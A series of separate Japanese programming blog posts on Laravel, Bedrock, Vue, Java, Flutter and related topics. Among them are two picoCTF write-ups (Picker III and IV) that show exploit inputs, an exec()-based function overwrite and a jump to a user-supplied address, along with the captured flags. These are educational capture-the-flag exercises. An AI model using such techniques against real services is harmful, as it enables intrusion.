Laravelでよくでてくる``Illuminate\~\~``って結局何だ？！と思いメソッドをまとめました。

### 言語
- Laravel8

## Illuminateとは
- Laravelが提供する様々なサービスやコンポーネントを構成するための基盤を提供している。
- サービスやコンポーネントは``Illuminate``名前空間内に整理されている

### どこにあるか？
**``プロジェクトディレクトリ\vendor\laravel\Framework\src\Illuminate\~``**

## Illuminate\Cookie
- クッキー操作を管理するためのクラスがある。
:::note
Cookieとは、、、
初めてアクセスしたWebサイトに、訪問したユーザーを識別できる情報が保存されること
:::

## Illuminate\Cookie\Cookiejar
- ``Cookiejar``クラスでクッキーの作成、取得、削除などの操作を行うメソッドがある

### ``make($name, $value, $minutes = 0, $path = null, $domain = null, $secure = false, $httpOnly = true)``
- 新しいクッキーを作成。
    ```Laravel
     $cookie = Cookie::make('name', 'value', 60);
     ```

### ``forever($name, $value, $path = null, $domain = null, $secure = false, $httpOnly = true)``
- 永続的なクッキーを作成。
    ```Laravel
     $cookie = Cookie::forever('name', 'value');
     ```

### ``forget($name, $path = null, $domain = null)``
- クッキーを削除するためのクッキーを作成。
    ```Laravel
     $cookie = Cookie::forget('name');
     ```

### ``queue(...$parameters)``
- 次のレスポンスでクッキーをセットするようにキューに追加。
    ```Laravel
     Cookie::queue(Cookie::make('name', 'value', 60));
     ```

### ``getQueuedCookies()``
- キューに追加された全てのクッキーを取得。
    ```Laravel
     $cookies = Cookie::getQueuedCookies();
     ```

:::note
キュー（queue）とは？
タスクの非同期処理やバックグラウンド処理を行うために使用される。
バックグラウンドで処理することで、ユーザーに対するレスポンス時間を遅延させずに実行できる。
:::


## 私のIlluminate関連記事

https://qiita.com/Jisu/items/47361c5c1a80ad71655c

https://qiita.com/Jisu/items/a3eb5dbb60e77431afa9

https://qiita.com/Jisu/items/2e642698c3ce9b141c2f

https://qiita.com/Jisu/items/133c47cd2aea42a1dec7

https://qiita.com/Jisu/items/da70992ec3196d0ed8cb
オープンモデル最強のLLM、Llama 3.1が登場！ AWSのBedrockから使ってみた

日本時間のけさ7/24未明、Meta社からオープンな生成AIモデルLlamaの最新版3.1シリーズがリリースされました。

https://ai.meta.com/blog/meta-llama-3-1/


# Llama 3.1の特徴まとめ

- Llama 3に無かった405B（4,050億）という巨大なパラメーターのラインナップがある
- 対応言語は英語を含む8言語（日本語は含まれず）
- コンテキストウィンドウは128K
- ライセンス規約が変更され、条件付きで他社モデルの学習用途にも利用可能となった

Claude 3.5 SonnetやGPT-4oなど最先端の商用LLMと互角のベンチマーク結果を出しているとのこと。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/520b60b3-45cc-96d0-51f1-f14a34d98409.png)

詳細な評価を紹介した論文も同時に公開されています。

https://ai.meta.com/research/publications/the-llama-3-herd-of-models/


# AWSからも利用可能！

AWSで生成AIモデルをサーバーレスに利用できるサービス「Amazon Bedrock」でも早速、Llama 3.1シリーズが利用可能となりました。

https://aws.amazon.com/jp/blogs/aws/announcing-llama-3-1-405b-70b-and-8b-models-from-meta-in-amazon-bedrock/

- オレゴンリージョンのみ対応
- 405Bモデルはプレビューの扱い（利用するにはサポートへ申請が必要）

これで、バージニア北部リージョン以外でのみ利用可能なモデルがClaude 3 Opus以外にも増えた形になりますね。Bedrockで利用可能なモデルは合計で35種類となりました 🎉

なお、405BモデルはSageMaker JumpStartであればすぐに試すことができます。

https://aws.amazon.com/jp/about-aws/whats-new/2024/07/meta-llama-3-1-generative-ai-models-amazon-sagemaker-jumpstart/


# 実際に触ってみた

いつの間にか、Meta公式からもWebチャットアプリが提供されていたようですが、まだ日本からは使えないようでした。

https://www.meta.ai/

よって日本からLlama 3.1 405Bモデルをサクッと試したい場合はHuggingChatを利用するのが早そうです。スマホアプリもあり。

https://huggingface.co/chat/

Llama 3と比べてすぐ分かる進化点として、プロンプトを頑張らなくても日本語で安定して回答してくれるようになっています。

![スクリーン ショット 2024-07-24 に 06.43.56 午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/6e15ddf3-faa1-b4d9-87cb-a55fae7bfb11.png)


### Amazon Bedrockから使ってみる

まずはオレゴンリージョンでモデルを有効化します。

![スクリーン ショット 2024-07-24 に 06.46.04 午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/45da4240-912a-a89e-9868-fdd86b2c6a15.png)

プレイグラウンドからすぐ利用できます。比較モードでLlama 3と並べてみると面白いです。

![スクリーン ショット 2024-07-24 に 06.50.25 午前.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1633856/7374f048-74fe-b61a-2ded-807ac3a4819f.png)

APIをPythonからも叩いてみましょう。色んなモデルを同じフォーマットで呼べるConverse APIのストリーミングモードを利用します。

```py: converse.py
import boto3

client = boto3.client("bedrock-runtime", region_name="us-west-2")

streaming_response = client.converse_stream(
    modelId="meta.llama3-1-70b-instruct-v1:0",
    messages=[{"role": "user", "content": [{"text": "夏の俳句を詠んで"}]}],
)

for chunk in streaming_response["stream"]:
    if "contentBlockDelta" in chunk:
        text = chunk["contentBlockDelta"]["delta"]["text"]
        print(text, end="")
```

※LangChainの `ChatBedrockConverse` からは、まだ利用不可のようでした。

出力例

```zsh
❯ python converse.py
夏の夜の月は
静かに輝く星
夜の涼しさ
```


# 宣伝

Amazon Bedrockの入門書を出版しました。買ってね✌️

https://www.sbcr.jp/product/4815626440/
【設計】初心者必見！ゼロから学べる実践入門

システム設計とは？
---
システム設計とは、要件定義で明確にした要件を基に、システムの全体構造や詳細な仕様を設計するプロセスです。
これには、システムのアーキテクチャ、コンポーネントの配置、データフローなどが含まれます。

設計の内容
---
■システムの構造化
システムの機能やデータフローを明確にし、効率的で保守性の高いシステムを構築します。

■技術的な選定
必要な技術やツール、アーキテクチャを選定し、システムの実現可能性を確保します。

■コミュニケーションの改善
設計文書を通じて、開発チームやステークホルダーとシステムの理解を共有し、誤解を防ぎます。

■設計のプロセス
アーキテクチャ設計
システム全体のアーキテクチャを決定します。これには、システムの主要なコンポーネントやその相互作用、データベース設計などが含まれます。

■コンポーネント設計
各コンポーネントの詳細な設計を行います。コンポーネントのインターフェースや内部処理、データの取り扱いなどを定義します。

■インターフェース設計
システムの各コンポーネントや外部システムとのインターフェースを設計します。APIやデータフォーマット、通信プロトコルなどを決定します。

■データ設計
データベースの設計やデータの管理方法を決定します。データモデルの作成やデータベースのスキーマ設計などが含まれます。

■ユーザーインターフェース（UI）設計
ユーザーがシステムとどのように対話するかを設計します。画面レイアウトやユーザー操作のフローを決定します。

■設計の文書化
設計内容を文書化し、設計書としてまとめます。設計書には、システム全体の構造や各コンポーネントの詳細、インターフェースの仕様などが含まれます。

■設計のレビューと承認
設計文書をステークホルダーと共有し、レビューと承認を得ます。このステップで、設計の正確性や実現可能性を確認し、必要な修正を行います。

■成功する設計のためのポイント
要件との整合性
設計は要件定義と整合性を保つ必要があります。要件の変更があった場合には、設計にも反映させることが重要です。

■拡張性と保守性
システムが将来的に拡張しやすく、保守しやすい設計を心がけます。モジュール化や再利用性の高い設計が推奨されます。

■パフォーマンスの考慮
設計時にパフォーマンスを考慮し、効率的なデータ処理や適切なリソースの利用を計画します。

■ドキュメントの明確さ
設計文書は、関係者全員が理解できるように明確かつ詳細に記述します。図や表を活用して視覚的に分かりやすくすることも大切です。

まとめ
---
システム設計とは、要件定義を基にシステムの全体構造や詳細な仕様を設計するプロセスで、アーキテクチャやコンポーネント配置、データフローを含みます。
これにより、効率的で保守性の高いシステムを構築し、技術選定やコミュニケーションの改善を図ります。
設計は要件との整合性を保ち、拡張性やパフォーマンスを考慮して進めます。
export defaultとは？

# はじめに
Vue.jsで辞書アプリを作ろうと思い、勉強しております。
Vue componentのexport defaultについて、わからなかったので、調べてみました。

# そもそもComponentとは
公式サイトでは「コンポーネントによって UI を独立した再利用可能なピースに分割し、それぞれのピースを切り離して考えることができるようになります。」と書かれています。
参照：https://ja.vuejs.org/guide/essentials/component-basics

Componentは、templateタグ、scriptタグ、styleタグの三つで構成されています、WEBページで再利用したい見た目や機能が記載されている。
つまり、ComponentとはWEBページに表示したい要素、１つの部品として、管理し、使いたいときに呼び出して、使用できる機能のようです。

# 使うには、
Scriptタグの中の、export defaultにcomponentを呼び出すための名前をnameに登録する。
```
<script>
export default {
  name: 'HelloWorld'
};
</script>

```
使う側（は親となる）のcomponentで、使いたい他のcomponentをimportし、
export defaultで使うことを記載する。
そしてtemplateにcomponent名を記載すると、html上に表示できます。
```
<template>
<HelloWorld />
</template>
<script>
import HelloWorld from './HelloWorld.vue'; // HelloWorldコンポーネントのインポート

export default {
  name: 'App',
  components: {
    HelloWorld // 子コンポーネントとして登録
  }
};
</script>

```
# 実際の例として
Vue.jsのプロジェクト（Default ([Vue 3] babel, eslintの場合)）を立ち上げると、
srcフォルダには、２つのcomponentが生成されている、HelloWorld.vueとApp.vueだ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3830038/6b7ad59c-b824-8a15-a4ad-7979ad124f93.png)

localhostでページを開くと下記のようになる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3830038/460e68b7-7023-7d1e-4e91-42bd6699d45c.png)

実際のコードは長いので省略しますが、
HelloWorldのtemplateにはmsgという変数やその他pタグなどの要素があります。
```
#HelloWorld.vueのコード
<template>
<h1>{{ msg }}</h1>
<p></p>
<ul></ul>
</template>

<script>
export default {
  name: 'HelloWorld',
  props: {
    msg: String
  }
}
</script>

```
App.vueでHelloWorld.vueをimportし、
template内にHelloworld componentを記載し、同時にmsg変数に値を入力することで、
表示内容を変更しています。
```
#App.vueのコード
<template>
  <img alt="Vue logo" src="./assets/logo.png">
  <HelloWorld msg="Welcome to Your Vue.js App"/>
</template>

<script>
import HelloWorld from './components/HelloWorld.vue'

export default {
  name: 'App',
  components: {
    HelloWorld
  }
}
</script>
```

構成としては下記図になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3830038/732bbd94-3ac1-9bb2-c36d-ec4ae9054149.png)




# 自己紹介
@yamann と言います。プログラミングに興味があり、スクールに通い、Laravelを使ったWEB開発を学習しました。最近はLLMに興味があり、色々調べては、試しています。その備忘録として記事を書いております。
【要件定義】初心者必見！ゼロから学べる実践入門

要件定義とは？
---
要件定義とは、システムが満たすべき要件（機能や性能など）を明確にし、文書化するプロセスです。
これにより、開発チームとクライアントが共通の理解を持ち、期待されるシステムの具体的な仕様を決定します。

要件定義の内容
---
■期待値の一致
クライアントと開発チームの間で、システムが提供すべき機能や性能に関する期待値を一致させることができます。

■プロジェクトの範囲明確化
開発するシステムの機能や範囲を明確にすることで、プロジェクトのスコープを設定し、無駄な作業を避けることができます。

■リスク管理
初期段階で要件を明確にすることで、後から発生する可能性のあるリスクや変更を最小限に抑えることができます。

■要件定義のプロセス
ステークホルダーの特定とインタビュー
システムの利用者や関係者（ステークホルダー）を特定し、彼らのニーズや期待を理解するためにインタビューを行います。

■要件の収集
インタビューやワークショップを通じて、システムに必要な機能や要件を収集します。
この段階では、機能要件だけでなく、非機能要件（性能、セキュリティなど）も考慮します。

■要件の分析と整理
収集した要件を分析し、重複や矛盾を取り除きます。
また、要件の優先順位を付けて、重要な要素を明確にします。

■要件の文書化
要件を詳細に文書化し、仕様書としてまとめます。文書には、要件の具体的な内容、関連する制約条件、承認基準などが含まれます。

■要件の確認と承認
文書化した要件をステークホルダーと共有し、確認・承認を得ます。このステップでは、要件が正確であることを確認し、必要な修正を行います。

■要件の管理
プロジェクトが進行する中で、要件が変更される可能性があります。
要件変更の管理プロセスを設け、変更が発生した場合には適切に対応します。

■成功する要件定義のためのポイント
ステークホルダーとのコミュニケーションを徹底して、要件に関する理解を共有することが重要です。

■文書の可読性
文書化した要件は、全ての関係者が理解できるように簡潔かつ明確に記述します。

■実現可能性の確認
要件が現実的で実現可能であるかどうかを検討し、技術的な制約や予算などの要因を考慮します。

■柔軟な対応
要件定義の段階で完全な仕様を決定するのは難しいこともあります。変更に対して柔軟に対応できる体制を整えることが大切です。

まとめ
---
システムが満たすべき機能や性能を明確にし、文書化するプロセスです。
これにより、開発チームとクライアントの期待値を一致させ、プロジェクトの範囲を明確にし、リスクを管理します。
Javaで「固定引数と可変引数の組み合わせ」の動作を確認してみた

# 概要

Javaで「固定引数と可変引数の組み合わせ」の動作を確認してみました。
以下のページを参考にしました。

https://www.javadrive.jp/start/method/index10.html

# 実装

以下のファイルを作成しました。
```JSample10_1.java
class JSample10_1{
  public static void main(String args[]){
    disp("[", "]", 10, 7, 8);
    disp("【", "】", 128, 76);
  }

  private static void disp(String sb, String sa, int... num){
    for (int i = 0; i < num.length; i++){
      System.out.println(sb + num[i] + sa);
    }
  }
}
```

以下のコマンドを実行しました。
```
$ javac JSample10_1.java 
$ java JSample10_1 
[10]
[7]
[8]
【128】
【76】
```

# まとめ

何かの役に立てばと。
ITパスポート 企業活動

・企業活動
・経営理念
企業の存在理由や価値観

・経営ビジョン
企業の到達したい理想像

・経営戦略
経営ビジョンを実現するための具体的な方策

・経営計画
企業の経営戦略を実現するための具体的な行動計画

・経営資源
ヒト・モノ・カネ・情報

・株式会社
株式を発行して、より多くの株主から資金を集め、事業を行う会社形態

・企業の社会的責任
・CSR
企業活動は利益の追求だけでなく、顧客の適切な対応や環境への配慮、地域社会へのボランティア活動などを意識すること

・ステークホルダ
顧客や従業員、株主、取引先、地域住民などの利害関係者

・アカウンタビリティ
経営活動の内容や実績に関する説明責任

・グリーンIT
省エネの、環境に配慮した（グリーンな）IT機器を利用すること

・ESG投資
財務の観点だけではなく、環境（Environment）・社会（Social）・企業統治（Governance）の三つの観点も加えて判断すること

・ソーシャルビジネス
事業として収益をあげながら、貧困や環境などの社会的課題を解決しようとするもの

・経営組織
・職能別組織
職能（仕事の性質）によって、部門を編成した組織

・事業部制組織
事業ごとに分割し、編成した組織

・プロジェクト組織
特定の問題を解決するために一定の期間に限って結成される組織

・マトリックス組織
構成員が自己の専門とする職能部門と特定の事業を遂行する部門の両方に所属する組織

・教育訓練技法
・OJT
実際の仕事を通じて、業務に必要な知識や技術を習得させる手法

・Off-JT
仕事を離れて、業務に必要な知識や技術を習得させる手法

・アダプティブラーニング
学習履歴を管理することで、一人ひとりの学習進行度や理解度に応じて学習内容や学習レベルを最適化して提供してくれる

・コーチング
自らが目標に向かって行動を起こすように仕向けること

・メンタリング
仕事だけでなく、キャリア形成や人格的成長までも支援すること

・人材管理
・HRM
人材を経営資源として戦略的に管理していく考え方

・HRTech
AIやビッグデータなどの最新技術を人事や採用、人材育成などに応用する

・ダイバーシティマネジメント
国籍や性別、年齢などにこだわらず、様々な人材を登用することで組織全体を活性化し、多様な働き方を受容していこうという考え方

・リテンション
社員の離職を防ぐための施策
picoGym Exclusive writeup Picker IV

## Picker IV (Binary Exploitation)

Can you figure out how this program works to get the flag? Connect to the program with netcat: $ nc saturn.picoctf.net 51785 The program's source code can be downloaded here. The binary can be downloaded here.

添付ファイル
・picker-IV.c
・picker-IV

とりあえず、`nc saturn.picoctf.net 51785`を実行してみる。
```
> nc saturn.picoctf.net 51785
Enter the address in hex to jump to, excluding '0x': ffffff
You input 0xffffff
Segfault triggered! Exiting.
```
フラグが取れそうな関数のアドレスを指定すればフラグが出てきそうだ。
ソースコードを見てみる。
```c
int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }
```
winを見つけた。`readelf -a`でアドレスを確認すると、
```
63: 000000000040129e   150 FUNC    GLOBAL DEFAULT   15 win
```
とあった。
もう一度、実行してみて`40129e`を入力してみる。
```
> nc saturn.picoctf.net 51785
Enter the address in hex to jump to, excluding '0x': 40129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}
```
フラグが得られた。

`picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}`
GitにコードがPushされたら自動的にPullする

とあるゲームのサーバー開発に関わっているのですが、gitにコードがプッシュするたびにリモートデスクトップでわざわざプルするのがめんどくさすぎたので自動化したおはなし。

## 構成
Azure DevOps の Azure Repos にコードがプッシュされる
↓
Azure Repos の機能で自動的にHTTPリクエストを送る
↓
サーバーで動いているFlaskアプリケーションでリクエストをうけとる
↓
`subprocess` で自動的に `git pull origin master` する

## コード

指定したポートを開けた状態で `python autogitpull.py` してください。
また、これはベースのコードで、まじでなんのセキュリティ対策もしていません。
`flask-httpauth` でユーザー名とパスワードを追加したり、Headerにパスワードを入れたりしたほうがいいかも。私の場合はテストサーバーなのでこれでテストしていきます。

https://gist.github.com/inoue-773/22c2ec765b6c29235ef7a82d7a036caf

## Azure Repos側の設定

プロジェクトのSummary画面から、右下のProject Settingsをクリック

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3837854/47fc2974-046a-4b63-dafc-98ded7582f42.png)

Service Hook を選択

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3837854/357dcee7-f675-597f-d41f-17af27f07018.png)

新規サブスクリプションを追加して、Webhook を選択

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3837854/90240e55-1e13-dd06-7e7e-d0479cc19618.png)

Trigger on this type of event で Code Pushed を選ぶ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3837854/68f03628-26ed-e860-bccd-979a35fb3345.png)

URLを入力
デフォルトのFlaskだとHTTPではないんですが、私の環境だと Accept untrusted SSL certificates を有効にしないと不安定になってました。こちらのサーバー側の問題なのか... そもそもSSL証明書自体ないのに...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3837854/a77de40e-8a89-e3a2-4d99-0c5d7699f67d.png)

あとはテストしてみてターミナルにPOSTリクエストの履歴がでてきたら完了。
いちいちVSCode開いてこのスクリプトを実行するのがめんどくさすぎるので、batファイル使ってスタートアップに登録する形でさらに自動化。

```batchfile
@echo off
cd C:\your_dict\auto-git-pull

REM Start the Flask application in a new window
start "FlaskApp" cmd /k python autopull.py
```

これでQOL爆上がりまちがいなし。
picoGym Exclusive writeup Picker III

## Picker III (Reverse Engineering)

Can you figure out how this program works to get the flag? Connect to the program with netcat: $ nc saturn.picoctf.net 53983 The program's source code can be downloaded here.

添付ファイル
・picker-III.py

とりあえず、`nc saturn.picoctf.net 53983`を実行してみる。
```
> nc saturn.picoctf.net 53983
==> help

This program fixes vulnerabilities in its predecessor by limiting what
functions can be called to a table of predefined functions. This still puts
the user in charge, but prevents them from calling undesirable subroutines.

* Enter 'quit' to quit the program.
* Enter 'help' for this text.
* Enter 'reset' to reset the table.
* Enter '1' to execute the first function in the table.
* Enter '2' to execute the second function in the table.
* Enter '3' to execute the third function in the table.
* Enter '4' to execute the fourth function in the table.

Here's the current table:
  
1: print_table
2: read_variable
3: write_variable
4: getRandomNumber
```
数字を入力するとtableの数字に対応する関数が実行できるらしい。
picker-III.pyを見てみる。
```python
def write_variable():
  var_name = input('Please enter variable name to write: ')
  if( filter_var_name(var_name) ):
    value = input('Please enter new value of variable: ')
    if( filter_value(value) ):
      exec('global '+var_name+'; '+var_name+' = '+value)
    else:
      print('Illegal value')
  else:
    print('Illegal variable name')

def win():
  # This line will not work locally unless you create your own 'flag.txt' in
  #   the same directory as this script
  flag = open('flag.txt', 'r').read()
  #flag = flag[:-1]
  flag = flag.strip()
  str_flag = ''
  for c in flag:
    str_flag += str(hex(ord(c))) + ' '
  print(str_flag)
```
write_variable関数を見つけた。1つめの入力でtable内の変えたい関数名を入力し、2つめの入力で実行させたい関数名を入力すると`'global '+var_name+'; '+var_name+' = '+value`の部分で、関数名は元のままで、変えたい関数が実行したい関数に置き換わるようになっているようだ。
変えても問題のなさそうなgetRandomNumberをwinに置き換えて、実行してみる。
```
> nc saturn.picoctf.net 53983
==> 3
Please enter variable name to write: getRandomNumber
Please enter new value of variable: win 
==> 4
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x32 0x32 0x36 0x64 0x64 0x32 0x38 0x35 0x7d
```
なんかHexが出てきたのでascii変換するとフラグが得られた。

`picoCTF{7h15_15_wh47_w3_g37_w17h_u53r5_1n_ch4rg3_226dd285}`
投稿 23 SQLインジェクション 2024/07/23

本日の勉強時間　5H

SQLインジェクション攻撃とは、WebサイトやWebアプリケーションの脆弱性（=弱点）につけこみ「SQL」を用いて、不正なSQL文を「データベース」り、個人情報の窃取やデータ改ざんなどを行うサイバー攻撃手法![IMG_6443.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3579814/e05f62ad-a38f-2e5e-0fe6-5ef72d661509.png)
CAD　Blender 

# CAD Blenderについて知っている事を初心者なりに書いていきます。
# ショートカットキーについて
皆さんは、ここマウスでやるのだるいーや、これどうやってやんねんみたいになったり、時短したいー効率的にCADをしたい、ストレスなくしたいよおと思ったことはありませんか？ちなみに私はあります。正面にモデルを置きたいのに右の上にあるXYZの所までマウスを持っていくのがだるいなど、もっと楽に効率良くならないかなと思いました。
そこで、**ショートカットキー**を使うと効率良くなります。


:::note warn
## 注意
1．入力が半角になっているか？
2. カーソルが3Dビューポート上にあるか？
:::

## 視点の操作

#### 　まずは、 視点切り替えのショートカットキーです。
<table>
  <thead>
    <tr>
      <th>キー名</th> <th>どうなるか</th>
    </tr>
  </thead>
  <tr>
    <td> テンキー1 </td> <td>正面からの視点の切り替え</td>
  </tr>
  <tr>
    <td> テンキー3 </td> <td>右からの視点の切り替え</td>
  </tr>
  <tr>
    <td> テンキー７ </td> <td>上からの視点の切り替え</td>
  </tr>
  <tr>
    <td> テンキー9 </td> <td>反対からの視点</td>
  </tr>
</table>

#### 次は、視点の回転させる切り替えです。
<table>
  <thead>
    <tr>
      <th>キー名</th> <th>どうなるか</th>
    </tr>
  </thead>
  <tr>
    <td> テンキー2 </td> <td>下に15度回る</td>
  </tr>
  <tr>
    <td> テンキー2 </td> <td>左に15度回る</td>
  </tr>
  <tr>
    <td> テンキー6 </td> <td>右&nbsp;に15度回る</td>
  </tr>
  <tr>
    <td> テンキー8 </td> <td>上に15度回る</td>
  </tr>
</table>

### 選択に関する操作
<table>
</thead>
  <tr>
    <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; W </td> <td>選択ツール（押す度に選択方法が切り替わる）</td>
  </tr>
  <tr>
    <td> shift+クリック </td> <td>複数選択</td>
  </tr>
  <tr>
    <td> ctrl+クリック </td> <td>最短ルートを選択</td>
  </tr>
  <tr>
    <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A</td> <td>全選択</td>
  <tr>
    <td> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alt+A </td> <td>選択無し</td>
  </tr>
  <tr>
    <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A＋A </td> <td>全選択の解除</td>
  </tr>
  <tr>
    <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B</td> <td>ボックスの選択</td>
  </tr>
  <tr>
    <td> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C </td> <td>サークル選択（右クリックで確定）</td>
  </tr>
  <tr>
    <td> ctrl+テンキー+ </td> <td>選択範囲の拡大</td>
  </tr>
  <tr>
    <td> ctrlテンキー— </td> <td>選択範囲の縮小</td>
  </tr>
  <tr>
    <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;L</td> <td>独立したメッシュの選択</td>
  </tr>
  <tr>
    <td> Shift+G </td> <td>グループで選択</td>
  </tr>
</table>

### <font color="#ff0000">最低限知っておきたい基本操作</font>
<table>
</thead>
 <tr>
    <td>  tab </td> <td>モード切り替え</td>
  </tr>
   <tr>
    <td> X　/delete </td> <td>削除</td>
  </tr>
   <tr>
    <td> Shift+D </td> <td>オブジェクトの追加</td>
  </tr>
   <tr>
    <td> G </td> <td>移動</td>
  </tr>
   <tr>
    <td> S </td> <td>サイズ</td>
  </tr>
   <tr>
    <td> R </td> <td>回転</td>
  </tr>
   <tr>
    <td> E </td> <td>押し出し</td>
  </tr>
   <tr>
    <td> Ⅰ </td> <td>面の差し込み</td>
  </tr>
     <tr>
    <td> F </td> <td>面を張る</td>
  </tr>
</table>

＿＿＿＿＿＿＿
この他にも多くのショートカットキーが存在し数え切れないほどの量が存在しています。プリファレンスにいきアドオンからショートカットキーを追加していくとまじで数え切れないです。
## ショートカットキーの設定方法
Blenderのショートカットキーは好きなキーに選択可能です。

<font color="#ff0000">編集</font>→<font color="#ff0000">プリファレンス</font>を開きます。<font color="#ff0000">キーマップ</font>を開いて、ウインドウの左側の三角マークをクリックすると、現在の設定されているショートカットキーの一覧が表示されます。
importとpartとは

# 挨拶
どうも、ぺんまるです。
最近はジムでのトレーニングをはじめました。
ただ、いまだにフリーウェイトのマッチョたちが怖いです。
徐々にラックの世界へ踏み入れようと日々奮闘しています。

# importとpartってなに？
今回記事を執筆した理由は携わっているプロジェクトのファイルにpartとpart ofと書いてあったのでなんじゃこりゃと思い、調べた上で備忘録として執筆しました。
単純にいうと

`import` publicなファイルのみの読み込み
`part` publicおよびprivateなファイルの読み込み

という違いらしいです。

# 使う場面どこ？
freezedパッケージなどでよく見かける印象があります。
イミュータブルなデータクラスなどを用意するときに読み込む側がpart、読み込み先がpart ofの記述を行い、それぞれの相関を表しています。
これにより複数のファイル間でプライベートメンバを共有することができます。

```dart:penmaru.dart
part 'penmaru_posts.dart';
const _myPrivateValue = 'neko'
```

```dart:penmaru_posts.dart
part of 'penmaru.dart';
void usePrivateValue () => print(_myPrivateValue);
```
上記のコードのように_myPrivateValueはプライベート変数です。
プライベート変数は外部ファイルおよび別のクラスからのアクセスが不可能になります。
ただpartとpart ofを使用すると、複数のファイル間でプライベートメンバを共有することができます。
ですので、usePrivateValue関数を使って_myPrivateValueをprint出力できます(printの使用は非推奨ですが…笑)

```dart: penmaru.dart
part 'component/penmaru.dart';

class Penmaru extends HookConsumerWidget {
  const Penmaru({super.key});
  //　以下省略

```

```dart: pernmaru_posts.dart
part of '../penmaru.dart';

class _PenmaruPosts extends HookConsumerWidget {
  const _PenmaruPosts();
  // 以下省略
```
また上記のコードのようにクラス名の接頭辞にアンダースコアをつけるとプライベートクラスになります。
今回はHookConsumerWidgetのウィジェットクラスをプライベートクラスにしました。
プライベートクラスにし、コンポーネントにすることで、使用されなくなった場合にエディタが警告してくれたり、リファクタリングが容易になります。
また、個人的には1ファイルでコードが長く書いてあるものより、複数ファイルにわけてコンポーネント化をしたほうが読みやすいなと思いました。

まだ、アプリ開発をはじめてから3ヶ月なので、これから設計・デザインなどを学習していきアプリの学習を頑張っていきたいと思います！！

# 参考にさせていただいた記事さま
- https://zenn.dev/r0227n/articles/difference_between_part_and_import
Flutterでfile_pickerの使用方法と特徴


今回は、Flutterアプリでファイルを選択する機能を実装する際に便利なfile_pickerパッケージの使い方を紹介します。
### file_pickerとは
file_pickerは、クロスプラットフォームでファイル選択ダイアログを表示し、ユーザーがデバイスからファイルを選択できるようにするためのFlutterパッケージです。このパッケージを使用すると、ドキュメント、画像、ビデオなどさまざまなファイルタイプを簡単に選択できます。
## 使用方法

以下のコードで、簡単にファイル選択機能を実装できます。

```dart
import 'package:flutter/material.dart';
import 'package:file_picker/file_picker.dart';

void main() => runApp(MyApp());

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: FilePickerDemo(),
    );
  }
}

class FilePickerDemo extends StatefulWidget {
  @override
  _FilePickerDemoState createState() => _FilePickerDemoState();
}

class _FilePickerDemoState extends State<FilePickerDemo> {
  String? _fileName;

  Future<void> _pickFile() async {
    FilePickerResult? result = await FilePicker.platform.pickFiles();
    if (result != null) {
      setState(() {
        _fileName = result.files.first.name;
      });
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: Text('File Picker Demo')),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: <Widget>[
            ElevatedButton(
              onPressed: _pickFile,
              child: Text('ファイルを選択'),
            ),
            SizedBox(height: 20),
            if (_fileName != null) Text('選択されたファイル: $_fileName'),
          ],
        ),
      ),
    );
  }
}
```

## 主なプロパティ

- `allowedExtensions`：許可するファイルの拡張子を指定（例：`['jpg', 'pdf']`）
- `allowMultiple`：複数ファイルの選択を許可するかどうか（デフォルトは`false`）
- `type`：選択するファイルのタイプ（例：`FileType.image`、`FileType.video`、`FileType.any`）

### 使用例

```dart
Future<void> _pickFile() async {
  FilePickerResult? result = await FilePicker.platform.pickFiles(
    type: FileType.custom,
    allowedExtensions: ['jpg', 'pdf'],
    allowMultiple: true,
  );
  if (result != null) {
    setState(() {
      _fileName = result.files.map((file) => file.name).join(', ');
    });
  }
}
```

## file_pickerの特徴

- **クロスプラットフォーム対応**：iOS、Android、Windows、macOS、Linuxで動作
- **多様なファイルタイプのサポート**：ドキュメント、画像、ビデオ、音声ファイルなど
- **単一/複数ファイルの選択**：単一ファイルだけでなく、複数ファイルの選択も可能
- **セキュリティ**：プライバシーとセキュリティを考慮した設計

## 最後に
